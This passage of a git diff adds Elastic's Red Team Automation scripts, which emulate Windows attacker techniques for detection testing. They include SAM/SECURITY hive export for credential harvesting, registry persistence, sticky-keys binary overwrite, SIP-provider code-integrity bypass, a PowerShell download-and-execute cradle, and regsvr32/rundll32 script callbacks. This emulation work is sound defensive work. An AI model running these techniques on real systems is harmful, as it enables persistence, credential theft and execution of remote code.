"__main__": + exit(main()) diff --git a/rta/process_name_masquerade.py b/rta/process_name_masquerade.py new file mode 100644 index 000000000..6e6069852 --- /dev/null +++ b/rta/process_name_masquerade.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Windows Core Process Masquerade +# RTA: process_name_masquerade.py +# ATT&CK: T1036 +# Description: Creates several processes which mimic core Windows process names but that are not those executables. + +import os + +from . import common + +MY_APP = common.get_path("bin", "myapp.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_APP) +def main(): + masquerades = [ + "svchost.exe", + "lsass.exe", + "services.exe", + "csrss.exe", + "smss.exe", + "wininit.exe", + "explorer.exe", + ] + + for name in masquerades: + path = os.path.abspath(name) + common.copy_file(MY_APP, path) + common.execute(path, timeout=3, kill=True) + common.remove_file(path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/recycle_bin_process.py b/rta/recycle_bin_process.py new file mode 100644 index 000000000..9d114172a --- /dev/null +++ b/rta/recycle_bin_process.py @@ -0,0 +1,53 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Run Process from the Recycle Bin +# RTA: recycle_bin_process.py +# ATT&CK: T1158 +# Description: Executes mock malware from the "C:\Recycler\" and "C:\$RECYCLE.BIN\" subdirectories. + +import os +import time + +from . import common + +RECYCLE_PATHS = ["C:\\$Recycle.Bin", "C:\\Recycler"] +TARGET_APP = common.get_path("bin", "myapp.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(TARGET_APP, common.CMD_PATH) +def main(): + common.log("Execute files from the Recycle Bin") + target_dir = None + for recycle_path in RECYCLE_PATHS: + if os.path.exists(recycle_path): + target_dir = common.find_writeable_directory(recycle_path) + if target_dir: + break + + else: + common.log("Could not find a writeable directory in the recycle bin") + exit(1) + + commands = [ + [TARGET_APP], + [common.CMD_PATH, "/c", "echo hello world"], + ] + + common.log("Running commands from recycle bin in %s" % target_dir) + for command in commands: # type: list[str] + source_path = command[0] + arguments = command[1:] + + target_path = os.path.join(target_dir, "recycled_process.exe") + common.copy_file(source_path, target_path) + arguments.insert(0, target_path) + common.execute(arguments) + time.sleep(0.5) + common.remove_file(target_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/registry_hive_export.py b/rta/registry_hive_export.py new file mode 100644 index 000000000..358894ebd --- /dev/null +++ b/rta/registry_hive_export.py @@ -0,0 +1,30 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Export Registry Hives +# RTA: registry_hive_export.py +# ATT&CK: TBD +# Description: Exports the SAM, SECURITY and SYSTEM hives - useful in credential harvesting and discovery attacks. + +import os + +from . import common + +REG = "reg.exe" + + +@common.requires_os(common.WINDOWS) +def main(): + for hive in ["sam", "security", "system"]: + filename = os.path.abspath("%s.reg" % hive) + common.log("Exporting %s hive to %s" % (hive, filename)) + common.execute([REG, "save", "hkey_local_machine\\%s" % hive, filename]) + common.remove_file(filename) + + common.execute([REG, "save", "hklm\\%s" % hive, filename]) + common.remove_file(filename) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/registry_persistence_create.py b/rta/registry_persistence_create.py new file mode 100644 index 000000000..afca975a6 --- /dev/null +++ b/rta/registry_persistence_create.py @@ -0,0 +1,94 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Registry persistence creation +# RTA: registry_persistence_create.py +# ATT&CK: T1015, T1103 +# Description: Creates registry persistence for mock malware in Run and RunOnce keys, Services, NetSH and debuggers. + +# TODO: Split into multiple files +import time + +from . import common + +TARGET_APP = common.get_path("bin", "myapp.exe") + + +def pause(): + time.sleep(0.5) + + +@common.requires_os(common.WINDOWS) +@common.dependencies(TARGET_APP) +def main(): + common.log("Suspicious Registry Persistence") + winreg = common.get_winreg() + + for hive in (common.HKLM, common.HKCU): + common.write_reg(hive, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", "RunOnceTest", TARGET_APP) + common.write_reg(hive, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "RunTest", TARGET_APP) + + # create Services subkey for "ServiceTest" + common.log("Creating ServiceTest registry key") + hklm = winreg.HKEY_LOCAL_MACHINE + hkey = winreg.CreateKey(hklm, "System\\CurrentControlSet\\Services\\ServiceTest\\") + + # create "ServiceTest" data values + common.log("Updating ServiceTest metadata") + winreg.SetValueEx(hkey, "Description", 0, winreg.REG_SZ, "A fake service") + winreg.SetValueEx(hkey, "DisplayName", 0, winreg.REG_SZ, "ServiceTest Service") + winreg.SetValueEx(hkey, "ImagePath", 0, winreg.REG_SZ, "c:\\ServiceTest.exe") + winreg.SetValueEx(hkey, "ServiceDLL", 0, winreg.REG_SZ, "C:\\ServiceTest.dll") + + # modify contents of ServiceDLL and ImagePath + common.log("Modifying ServiceTest binary") + winreg.SetValueEx(hkey, "ImagePath", 0, winreg.REG_SZ, "c:\\ServiceTestMod.exe") + winreg.SetValueEx(hkey, "ServiceDLL", 0, winreg.REG_SZ, "c:\\ServiceTestMod.dll") + + hkey.Close() + common.pause() + + # delete Service subkey for "ServiceTest" + common.log("Removing ServiceTest", log_type="-") + hkey = winreg.CreateKey(hklm, "System\\CurrentControlSet\\Services\\") + winreg.DeleteKeyEx(hkey, "ServiceTest") + + hkey.Close() + common.pause() + + # Additional persistence + common.log("Adding AppInit DLL") + windows_base = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\" + common.write_reg(common.HKLM, windows_base, "AppInit_Dlls", "evil.dll", restore=True, pause=True) + + common.log("Adding AppCert DLL") + appcertdlls_key = "System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls" + common.write_reg(common.HKLM, appcertdlls_key, "evil", "evil.dll", restore=True, pause=True) + + debugger_targets = [ + "normalprogram.exe", "sethc.exe", "utilman.exe", "magnify.exe", + "narrator.exe", "osk.exe", "displayswitch.exe", "atbroker.exe" + ] + + for victim in debugger_targets: + common.log("Registering Image File Execution Options debugger for %s -> %s" % (victim, TARGET_APP)) + base_key = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s" % victim + common.write_reg(common.HKLM, base_key, "Debugger", TARGET_APP, restore=True) + + # create new NetSh key value + common.log("Adding a new NetSh Helper DLL") + key = "Software\\Microsoft\\NetSh" + common.write_reg(common.HKLM, key, "BadHelper", "c:\\windows\\system32\\BadHelper.dll") + + # modify the list of SSPs + common.log("Adding a new SSP to the list of security packages") + key = "System\\CurrentControlSet\\Control\\Lsa" + common.write_reg(common.HKLM, key, "Security Packages", ["evilSSP"], common.MULTI_SZ, append=True, pause=True) + + hkey.Close() + pause() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/registry_rdp_enable.py b/rta/registry_rdp_enable.py new file mode 100644 index 000000000..a7410205c --- /dev/null +++ b/rta/registry_rdp_enable.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Enable RDP Through Registry +# RTA: registry_rdp_enable.py +# ATT&CK: T1076 +# Description: Identifies registry write modification to enable RDP access. + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Enabling RDP Through Registry") + + # get the current value + key = "System\\CurrentControlSet\\Control\\Terminal Server" + value = "fDenyTSConnections" + + with common.temporary_reg(common.HKLM, key, value, 1, common.DWORD): + # while temporarily disabled, re-enable the service + common.write_reg(common.HKLM, key, value, 0, common.DWORD, restore=False) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/regsvr32_scrobj.py b/rta/regsvr32_scrobj.py new file mode 100644 index 000000000..35dc00c67 --- /dev/null +++ b/rta/regsvr32_scrobj.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: RegSvr32 Backdoor with .sct Files +# RTA: regsvr32_scrobj.py +# ATT&CK: T1121, T1117, T1064 +# Description: Loads a .sct network callback with RegSvr32 + +from . import common + + +@common.requires_os(common.WINDOWS) +@common.dependencies(common.get_path("bin", "notepad.sct")) +def main(): + common.log("RegSvr32 with .sct backdoor") + server, ip, port = common.serve_web() + common.clear_web_cache() + + uri = 'bin/notepad.sct' + url = 'http://%s:%d/%s' % (ip, port, uri) + + common.execute(["regsvr32.exe", "/u", "/n", "/s", "/i:%s" % url, "scrobj.dll"]) + common.log("Killing all notepads to cleanup", "-") + common.execute(["taskkill", "/f", "/im", "notepad.exe"]) + + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/rundll32_inf_callback.py b/rta/rundll32_inf_callback.py new file mode 100644 index 000000000..03ee8929d --- /dev/null +++ b/rta/rundll32_inf_callback.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: RunDll32 with .inf Callback +# RTA: rundll32_inf_callback.py +# ATT&CK: T1105 +# Description: Loads RunDll32 with a suspicious .inf file that makes a local http GET + +import time + +from . import common + +INF_FILE = common.get_path("bin", "script_launch.inf") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(INF_FILE) +def main(): + # http server will terminate on main thread exit + # if daemon is True + common.log("RunDLL32 with Script Object and Network Callback") + server, ip, port = common.serve_web() + callback = "http://%s:%d" % (ip, port) + common.clear_web_cache() + + common.patch_regex(INF_FILE, common.CALLBACK_REGEX, callback) + + rundll32 = "rundll32.exe" + dll_entrypoint = "setupapi.dll,InstallHinfSection" + common.execute([rundll32, dll_entrypoint, "DefaultInstall", "128", INF_FILE], shell=False) + + time.sleep(1) + common.log("Cleanup", log_type="-") + common.execute(["taskkill", "/f", "/im", "notepad.exe"]) + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/rundll32_javascript_callback.py b/rta/rundll32_javascript_callback.py new file mode 100644 index 000000000..e30ff85e9 --- /dev/null +++ b/rta/rundll32_javascript_callback.py @@ -0,0 +1,33 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: RunDLL32 Javascript Callback +# RTA: rundll32_javascript_callback.py +# ATT&CK: T1085 +# Description: Executes javascript code with an AJAX call via RunDll32.exe + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("RunDLL32 with Javascript Callback") + server, ip, port = common.serve_web() + common.clear_web_cache() + + url = "http://%s:%d" % (ip, port) + rundll32 = 'rundll32.exe' + js = """ + 'javascript:"\..\mshtml,RunHTMLApplication ";' + 'var%20xhr=new%20ActiveXObject("Msxml2.XMLHttp.6.0");,' + 'xhr.open("GET", "{url}",false);xhr.send();' + """.format(url=url) + packed_js = ''.join(s.strip() for s in js.splitlines()) + + common.execute([rundll32, packed_js]) + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/schtask_escalation.py b/rta/schtask_escalation.py new file mode 100644 index 000000000..e999da911 --- /dev/null +++ b/rta/schtask_escalation.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Scheduled Task Privilege Escalation +# RTA: schtask_escalation.py +# ATT&CK: T1053 + +import os +import time + +from . import common + + +def schtasks(*args, **kwargs): + return common.execute(['schtasks.exe'] + list(args), **kwargs) + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Scheduled Task Privilege Escalation") + + task_name = 'test-task-rta' + file_path = os.path.abspath('task.log') + command = "cmd.exe /c whoami.exe > " + file_path + + # Delete the task if it exists + code, output = schtasks('/query', '/tn', task_name) + if code == 0: + schtasks('/delete', '/tn', task_name, '/f') + + code, output = schtasks('/create', '/tn', task_name, '/ru', 'system', '/tr', command, '/sc', 'onlogon') + if code != 0: + common.log("Error creating task", log_type="!") + return + + # Run the task and grab the file + code, output = schtasks('/run', '/tn', task_name) + if code == 0: + time.sleep(1) + common.print_file(file_path) + time.sleep(1) + common.remove_file(file_path) + + schtasks('/delete', '/tn', task_name, '/f') + + +if __name__ == "__main__": + main() diff --git a/rta/scrobj_com_hijack.py b/rta/scrobj_com_hijack.py new file mode 100644 index 000000000..f195b2851 --- /dev/null +++ b/rta/scrobj_com_hijack.py @@ -0,0 +1,26 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: COM Hijack via Script Object +# RTA: scrobj_com_hijack.py +# ATT&CK: T1122 +# Description: Modifies the Registry to create a new user-defined COM broker, "scrobj.dll". + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + key = "SOFTWARE\\Classes\\CLSID\\{00000000-0000-0000-0000-0000DEADBEEF}" + subkey = "InprocServer32" + value = "" + scrobj = "C:\\WINDOWS\\system32\\scrobj.dll" + key_path = key + "\\" + subkey + + with common.temporary_reg(common.HKCU, key_path, value, scrobj, pause=True): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/secure_file_deletion.py b/rta/secure_file_deletion.py new file mode 100644 index 000000000..3de40b15f --- /dev/null +++ b/rta/secure_file_deletion.py @@ -0,0 +1,29 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +import os +import subprocess +import tempfile + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + temp_path = os.path.join(tempfile.gettempdir(), os.urandom(16).encode('hex')) + sdelete_path = common.get_path("bin", 'sdelete.exe') + + try: + # Create a temporary file and close handles so it can be deleted + with open(temp_path, 'wb') as f_out: + f_out.write('A') + + subprocess.check_call([sdelete_path, '/accepteula', temp_path]) + + finally: + common.remove_file(temp_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/settingcontentms_files.py b/rta/settingcontentms_files.py new file mode 100644 index 000000000..77a6dcf91 --- /dev/null +++ b/rta/settingcontentms_files.py @@ -0,0 +1,24 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Abusing SettingContent-ms Files +# RTA: settingcontentms_files.py +# ATT&CK: T1193, T1204, T1064 +# Description: SettingContent-ms file written to specific path or by risky process + +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + # Write to AppData\Local\ + common.execute(['cmd', '/c', 'echo', 'test', '>', '%APPDATA%\\test.SettingContent-ms']) + time.sleep(1) + common.execute(['cmd', '/c', 'del', '%APPDATA%\\test.SettingContent-ms']) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/sevenzip_encrypted.py b/rta/sevenzip_encrypted.py new file mode 100644 index 000000000..455000fb5 --- /dev/null +++ b/rta/sevenzip_encrypted.py @@ -0,0 +1,55 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Encrypting files with 7zip +# RTA: sevenzip_encrypted.py +# ATT&CK: T1022 +# Description: Uses "bin\.exe" to perform encryption of archives and archive headers. + +import base64 +import os +import sys + +from . import common + +SEVENZIP = common.get_path("bin", "7za.exe") + + +def create_exfil(path=os.path.abspath("secret_stuff.txt")): + common.log("Writing dummy exfil to %s" % path) + with open(path, 'wb') as f: + f.write(base64.b64encode(b"This is really secret stuff\n" * 100)) + return path + + +@common.requires_os(common.WINDOWS) +@common.dependencies(SEVENZIP) +def main(password="s0l33t"): + # create 7z.exe with not-7zip name, and exfil + svnz2 = os.path.abspath("a.exe") + common.copy_file(SEVENZIP, svnz2) + exfil = create_exfil() + + exts = ["7z", "zip", "gzip", "tar", "bz2", "bzip2", "xz"] + out_jpg = os.path.abspath("out.jpg") + + for ext in exts: + # Write archive for each type + out_file = os.path.abspath("out." + ext) + common.execute([svnz2, "a", out_file, "-p" + password, exfil], mute=True) + common.remove_file(out_file) + + # Write archive for each type with -t flag + if ext == "bz2": + continue + + common.execute([svnz2, "a", out_jpg, "-p" + password, "-t" + ext, exfil], mute=True) + common.remove_file(out_jpg) + + common.execute([SEVENZIP, "a", out_jpg, "-p" + password, exfil], mute=True) + common.remove_files(exfil, svnz2, out_jpg) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/shortcut_file_suspicious_process.py b/rta/shortcut_file_suspicious_process.py new file mode 100644 index 000000000..e75c28cc9 --- /dev/null +++ b/rta/shortcut_file_suspicious_process.py @@ -0,0 +1,24 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Shortcut File Suspicious Process +# RTA: shortcut_file_suspicious_process.py +# ATT&CK: T1023,T1204,T1193,T1192 +# Description: Create a .lnk file using cmd.exe + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Writing dummy shortcut file") + shortcut_path = 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\evil.lnk' + common.execute(['cmd', '/c', 'echo', 'dummy_shortcut', '>', shortcut_path]) + + common.log("Deleting dummy shortcut file") + common.remove_file(shortcut_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/sip_provider.py b/rta/sip_provider.py new file mode 100644 index 000000000..56a1987fc --- /dev/null +++ b/rta/sip_provider.py @@ -0,0 +1,62 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: SIP Provider Modification +# RTA: sip_provider.py +# ATT&CK: TBD +# Description: Registers a mock SIP provider to bypass code integrity checks and execute mock malware. + +from . import common + + +CRYPTO_ROOT = "SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0" +VERIFY_DLL_KEY = "%s\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" % CRYPTO_ROOT +GETSIG_KEY = "%s\\CryptSIPDllGetSignedDataMsg\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" % CRYPTO_ROOT + + +def register_sip_provider(dll_path, verify_function, getsig_function): + winreg = common.get_winreg() + hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, VERIFY_DLL_KEY) + + common.log("Setting verify dll path: %s" % dll_path) + winreg.SetValueEx(hkey, "Dll", 0, winreg.REG_SZ, dll_path) + + common.log("Setting verify function name: %s" % verify_function) + winreg.SetValueEx(hkey, "FuncName", 0, winreg.REG_SZ, verify_function) + + hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, GETSIG_KEY) + + common.log("Setting getsig dll path: %s" % dll_path) + winreg.SetValueEx(hkey, "Dll", 0, winreg.REG_SZ, dll_path) + + common.log("Setting getsig function name: %s" % getsig_function) + winreg.SetValueEx(hkey, "FuncName", 0, winreg.REG_SZ, getsig_function) + + +if common.is_64bit(): + SIGCHECK = common.get_path("bin", "sigcheck64.exe") + TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider64.dll") +else: + SIGCHECK = common.get_path("bin", "sigcheck32.exe") + TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider32.dll") + +TARGET_APP = common.get_path("bin", "myapp.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP) +def main(): + common.log("Registering SIP provider") + register_sip_provider(TRUST_PROVIDER_DLL, "VerifyFunction", "GetSignature") + + common.log("Launching sigcheck") + common.execute([SIGCHECK, "-accepteula", TARGET_APP]) + + common.log("Cleaning up", log_type="-") + wintrust = "C:\\Windows\\System32\\WINTRUST.dll" + register_sip_provider(wintrust, "CryptSIPVerifyIndirectData", "CryptSIPGetSignedDataMsg") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/smb_connection.py b/rta/smb_connection.py new file mode 100644 index 000000000..b4024b337 --- /dev/null +++ b/rta/smb_connection.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Outbound SMB from a User Process +# RTA: smb_connection.py +# ATT&CK: T1105 +# Description: Initiates an SMB connection to a target machine, without going through the normal Windows APIs. + +import socket +import sys + +from . import common + +SMB_PORT = 445 + + +@common.requires_os(common.WINDOWS) +def main(ip=None): + ip = ip or common.get_ip() + + # connect to rpc + common.log("Connecting to {}:{}".format(ip, SMB_PORT)) + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, 445)) + common.log("Sending HELLO") + s.send(b"HELLO!") + common.log("Shutting down the conection...") + s.close() + common.log("Closed connection to {}:{}".format(ip, SMB_PORT)) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/sticky_keys_write_execute.py b/rta/sticky_keys_write_execute.py new file mode 100644 index 000000000..3ebb008e7 --- /dev/null +++ b/rta/sticky_keys_write_execute.py @@ -0,0 +1,51 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Overwrite Accessibiity Binaries +# RTA: sticky_keys_write_execute.py +# ATT&CK: T1015 +# Description: Writes different binaries into various accessibility locations. + +import os +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + # Prep + bins = ["sethc.exe", "utilman.exe", "narrator.exe", "magnify.exe", "osk.exe", "displayswitch.exe", "atbroker.exe"] + calc = os.path.abspath("\\windows\\system32\\calc.exe") + temp = os.path.abspath("temp.exe") + + # loop over bins + for bin_name in bins: + + bin_path = os.path.abspath("\\Windows\\system32\\" + bin_name) + + # Back up bin + common.copy_file(bin_path, temp) + + # Change Permissions to allow modification + common.execute(["takeown", "/F", bin_path, "/A"]) + common.execute(["icacls", bin_path, "/grant", "Administrators:F"]) + + # Copy Calc to overwrite binary, then run it + common.copy_file(calc, bin_path) + common.execute(bin_path, kill=True, timeout=1) + + # Restore Original File and Permissions on file + common.copy_file(temp, bin_path) + common.execute(["icacls", bin_path, "/setowner", "NT SERVICE\\TrustedInstaller"]) + common.execute(["icacls", bin_path, "/grant:r", "Administrators:RX"]) + common.remove_file(temp) + + # Cleanup + time.sleep(2) + common.execute(["taskkill", "/F", "/im", "calculator.exe"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_dll_registration_regsvr32.py b/rta/suspicious_dll_registration_regsvr32.py new file mode 100644 index 000000000..6f9a453d9 --- /dev/null +++ b/rta/suspicious_dll_registration_regsvr32.py @@ -0,0 +1,21 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Suspicious DLL Registration by Regsvr32 +# RTA: suspicious_dll_registration_regsvr32.py +# ATT&CK: T1117 +# Description: Pretends to register DLL without traditional DLL extension using RegSvr32 + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Suspicious DLL Registration by Regsvr32") + + common.execute(["regsvr32.exe", "-s", "meow.txt"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_office_children.py b/rta/suspicious_office_children.py new file mode 100644 index 000000000..e2ff140fa --- /dev/null +++ b/rta/suspicious_office_children.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Emulate Suspect MS Office Child Processes +# RTA: suspect_office_children.py +# ATT&CK: T1064 +# Description: Generates network traffic various children processes from emulated Office processes. + +import os + +from . import common +from . import mshta_network + + +@common.requires_os(common.WINDOWS) +def main(): + mshta_path = os.path.abspath(mshta_network.__file__.replace(".pyc", ".py")) + + cmd_path = "c:\\windows\\system32\\cmd.exe" + binaries = ["adobe.exe", "winword.exe", "outlook.exe", "excel.exe", "powerpnt.exe"] + for binary in binaries: + common.copy_file(cmd_path, binary) + + # Execute a handful of commands + common.execute(["adobe.exe", "/c", "regsvr32.exe", "/s", "/?"], timeout=5, kill=True) + common.execute(["winword.exe", "/c", "certutil.exe"], timeout=5, kill=True) + common.execute(["outlook.exe", "/c", "powershell.exe", "-c", "whoami"], timeout=5, kill=True) + common.execute(["excel.exe", "/c", "cscript.exe", "-x"], timeout=5, kill=True) + # Test out ancestry for mshta + common.execute(["powerpnt.exe", "/c", mshta_path]) + + common.remove_files(*binaries) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_office_descendant_fp.py b/rta/suspicious_office_descendant_fp.py new file mode 100644 index 000000000..3d36eac72 --- /dev/null +++ b/rta/suspicious_office_descendant_fp.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Emulate Suspect MS Office Child Processes +# RTA: suspect_office_children.py +# ATT&CK: T1064 +# Description: Generates various children processes from emulated Office processes. + +import os +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("MS Office unusual child process emulation") + suspicious_apps = [ + "msiexec.exe /i blah /quiet", + "powershell.exe exit", + "wscript.exe //b", + ] + cmd_path = "c:\\windows\\system32\\cmd.exe" + browser_path = os.path.abspath("firefox.exe") + common.copy_file(cmd_path, browser_path) + + for office_app in ["winword.exe", "excel.exe"]: + + common.log("Emulating %s" % office_app) + office_path = os.path.abspath(office_app) + common.copy_file(cmd_path, office_path) + + for command in suspicious_apps: + common.execute('%s /c %s /c %s' % (office_path, browser_path, command), timeout=5, kill=True) + + common.log('Cleanup %s' % office_path) + common.remove_file(office_path) + + common.log("Sleep 5 to allow processes to finish") + time.sleep(5) + common.log('Cleanup %s' % browser_path) + common.remove_file(browser_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_powershell_download.py b/rta/suspicious_powershell_download.py new file mode 100644 index 000000000..54b9603f1 --- /dev/null +++ b/rta/suspicious_powershell_download.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Suspicious PowerShell Download +# RTA: suspicious_powershell_download.py +# ATT&CK: T1086 +# Description: PowerShell using DownloadString or DownloadFile in suspicious context + +import os +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + cmd_path = "c:\\windows\\system32\\cmd.exe" + server, ip, port = common.serve_web() + url = 'http://{}:{}/bad.ps1'.format(ip, port) + + cmds = ["powershell -ep bypass -c iex(new-object net.webclient).downloadstring('{}')".format(url), + "powershell -ep bypass -c (new-object net.webclient).downloadfile('{}', 'bad.exe')".format(url)] + + # emulate word and chrome + for user_app in ["winword.exe", "chrome.exe"]: + common.log("Emulating {}".format(user_app)) + user_app_path = os.path.abspath(user_app) + common.copy_file(cmd_path, user_app_path) + + for cmd in cmds: + common.execute([user_app_path, "/c", cmd]) + time.sleep(2) + + # cleanup + common.remove_file(user_app_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_wmic_script.py b/rta/suspicious_wmic_script.py new file mode 100644 index 000000000..2b021535a --- /dev/null +++ b/rta/suspicious_wmic_script.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Suspicious WMIC script execution +# RTA: suspicious_wmic_script.py +# Description: Uses the WMI command-line utility to execute built-in Windows commands which are unusual or unexpected. +# Reference: https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html +import os + +from . import common + +xsl_file = "test.xsl" +xsl_content = """ + + + + + +""" + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Executing suspicious WMIC script") + + with open(xsl_file, "w") as f: + f.write(xsl_content) + + # Many variations on this command. For example, -format:, / format : , etc + common.execute(["wmic.exe", "os", "get", "/format:" + xsl_file]) + + os.remove(xsl_file) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_wscript_parent.py b/rta/suspicious_wscript_parent.py new file mode 100644 index 000000000..e1759ca8f --- /dev/null +++ b/rta/suspicious_wscript_parent.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Suspicious WScript parent +# RTA: suspicious_wscript_parent.py +# ATT&CK: T1064, T1192, T1193 +# Description: WScript run with suspicious parent processes + +import os +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + script_data = """ + WScript.CreateObject("wscript.shell") + """ + script_path = ".\\hello.vbs" + with open(script_path, 'w') as f: + 